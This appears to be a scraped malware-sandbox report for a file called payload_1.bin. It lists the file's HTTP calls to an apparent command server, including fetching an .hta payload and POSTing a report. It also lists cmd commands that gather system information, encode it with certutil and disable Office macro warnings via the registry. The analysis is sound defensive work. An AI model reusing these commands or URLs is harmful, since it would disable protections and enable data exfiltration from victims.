22 / 60

Community Score

22/60 security vendors flagged this file as malicious

Reanalyze Similar More

4abe1395a09fda06d897a9c4eb247278c1b6cddda5d126ce5...

payload_1.bin

vba url-pattern run-file enum-windows exe-pattern

Size 2.35 KB

Last Analysis Date 1 year ago

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY 2

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Display grouped sandbox reports

C2AE ⚠ 1 0 0 0 0 3

Activity Summary Download Artifacts Full Reports Help

Detections
1 MALWARE

Mitre Signatures
NOT FOUND

IDS Rules
NOT FOUND

Sigma Rules
NOT FOUND

Dropped Files
NOT FOUND

Network comms
3 HTTP

Dynamic Analysis Sandbox Detections

⚠ The sandbox C2AE flags this file as: MALWARE

Network Communication

HTTP Requests

+ GET http://www.helpnid.com/_admin/nicerlnm/web/style/css/access/cross.php?op=3 200
+ GET http://www.helpnid.com/_admin/nicerlnm/web/style/css/access/suf.hta 200
+ POST http://www.helpnid.com/_admin/nicerlnm/web/style/css/access/report.php 200

Behavior Similarity Hashes

C2AE	531e94896b24dc0d3fdc0a40f459b9d3

Registry actions

Registry Keys Set

+ HKLM\SOFTWARE\Microsoft\WBEM\PROVIDERS\Performance\Performance Data
+ HKLM\SOFTWARE\Microsoft\WBEM\PROVIDERS\Performance\Performance Refresh
+ HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib\Last Counter

We use cookies and related technologies to remember user preferences, for security, to analyse our traffic, and to enable website functionality. Learn more about cookies in our Privacy Notice.

Ok

Sign in Sign up

- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{BD6A2389-3D44-4D8F-A590-86B5569FDE9D}\DynamicInfo
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{BD6A2389-3D44-4D8F-A590-86B5569FDE9D}\Hash
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{BD6A2389-3D44-4D8F-A590-86B5569FDE9D}\Path
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{BD6A2389-3D44-4D8F-A590-86B5569FDE9D}\Triggers

Registry Keys Deleted

- HKLM\SYSTEM\ControlSet001\Services\WmiApRpl\Performance\First Counter
- HKLM\SYSTEM\ControlSet001\Services\WmiApRpl\Performance\First Help
- HKLM\SYSTEM\ControlSet001\Services\WmiApRpl\Performance\Last Counter
- HKLM\SYSTEM\ControlSet001\Services\WmiApRpl\Performance\Last Help
- HKLM\SYSTEM\ControlSet001\Services\WmiApRpl\Performance\Object List

Process and service actions

Shell Commands

- "%ComSpec%" /c certutil -encode %APPDATA%\Microsoft\Network\sr011.xml %APPDATA%\Microsoft\Network\conv.xml
- "%ComSpec%" /c del %APPDATA%\Microsoft\Network\conv.xml
- "%ComSpec%" /c del %APPDATA%\Microsoft\Network\sr011.xml
- "%ComSpec%" /c dir "%ProgramFiles%">>%APPDATA%\Microsoft\Network\sr011.xml
- "%ComSpec%" /c dir "%ProgramFiles(x86)%">>%APPDATA%\Microsoft\Network\sr011.xml
- "%ComSpec%" /c ipconfig /all>>%APPDATA%\Microsoft\Network\sr011.xml
- "%ComSpec%" /c reg add HKCU\Software\Microsoft\Office\14.0\Excel\Security /v VBAWarnings /t REG_DWORD /d 1 /f
- "%ComSpec%" /c reg add HKCU\Software\Microsoft\Office\14.0\WORD\Security /v VBAWarnings /t REG_DWORD /d 1 /f
- "%ComSpec%" /c reg add HKCU\Software\Microsoft\Office\15.0\WORD\Security /v VBAWarnings /t REG_DWORD /d 1 /f
- "%ComSpec%" /c reg add HKCU\Software\Microsoft\Office\16.0\Excel\Security /v VBAWarnings /t REG_DWORD /d 1 /f

Processes Terminated

- "%ComSpec%" /c certutil -encode %APPDATA%\Microsoft\Network\sr011.xml %APPDATA%\Microsoft\Network\conv.xml
- "%ComSpec%" /c del %APPDATA%\Microsoft\Network\conv.xml
- "%ComSpec%" /c del %APPDATA%\Microsoft\Network\sr011.xml
- "%ComSpec%" /c dir "%ProgramFiles%">>%APPDATA%\Microsoft\Network\sr011.xml
- "%ComSpec%" /c dir "%ProgramFiles(x86)%">>%APPDATA%\Microsoft\Network\sr011.xml
- "%ComSpec%" /c ipconfig /all>>%APPDATA%\Microsoft\Network\sr011.xml
- "%ComSpec%" /c reg add HKCU\Software\Microsoft\Office\14.0\Excel\Security /v VBAWarnings /t REG_DWORD /d 1 /f
- "%ComSpec%" /c reg add HKCU\Software\Microsoft\Office\14.0\WORD\Security /v VBAWarnings /t REG_DWORD /d 1 /f
- "%ComSpec%" /c reg add HKCU\Software\Microsoft\Office\15.0\WORD\Security /v VBAWarnings /t REG_DWORD /d 1 /f
- "%ComSpec%" /c reg add HKCU\Software\Microsoft\Office\16.0\Excel\Security /v VBAWarnings /t REG_DWORD /d 1 /f

Processes Tree

- 2344 - %CONHOST% "-827734990538678212-1031110089-1382994425-846851096-1496667540130094539 9-2065989088
- 1792 - %CONHOST% "10348462936900170-1850626262554280280-199696939020269179019401582721884551 46
- 2860 - %CONHOST% "-663709599815040716-1481395964335191608-876118461202265242217284025557467781 30
- 2932 - %CONHOST% "176625200098242023049972016144582978863176607 4-1849465497-18548854811030527130
- 2972 - %CONHOST% "-448934871158489190-732227169-507232289238935991068582079-2130281229632010191
- 2436 - %CONHOST% "14113119657281830351552348743338280807166997342617793149471695290612280461763
- 2716 - %CONHOST% "11942801061646613114163411506-7840954225645084 56-1436424857-2158020001745723808
- 2524 - %CONHOST% "-3875161851048511775737030423298461997920942980-153258214513171735 99-1540322380
- 552 - %CONHOST% "39703853579227974 9-388754342-871526470-687410592-152598535816590084 11-429041100

We use cookies and related technologies to remember user preferences, for security, to analyse our traffic, and to enable website functionality. Learn more about cookies in our Privacy Notice.
Ok

Sign in Sign up

Our product

Contact Us
Get Support
How It Works
ToS | Privacy Notice
Blog | Releases

Community

Join Community
Vote and Comment
Contributors
Top Users
Community Buzz

Tools

API Scripts
YARA
Desktop Apps
Browser Extensions
Mobile App

Premium Services

Get a demo
Intelligence
Hunting
Graph
API v3 | v2

Documentation

Searching
Reports
API v3 | v2
Use Cases

We use cookies and related technologies to remember user preferences, for security, to analyse our traffic, and to enable website functionality. Learn more about cookies in our Privacy Notice.

Ok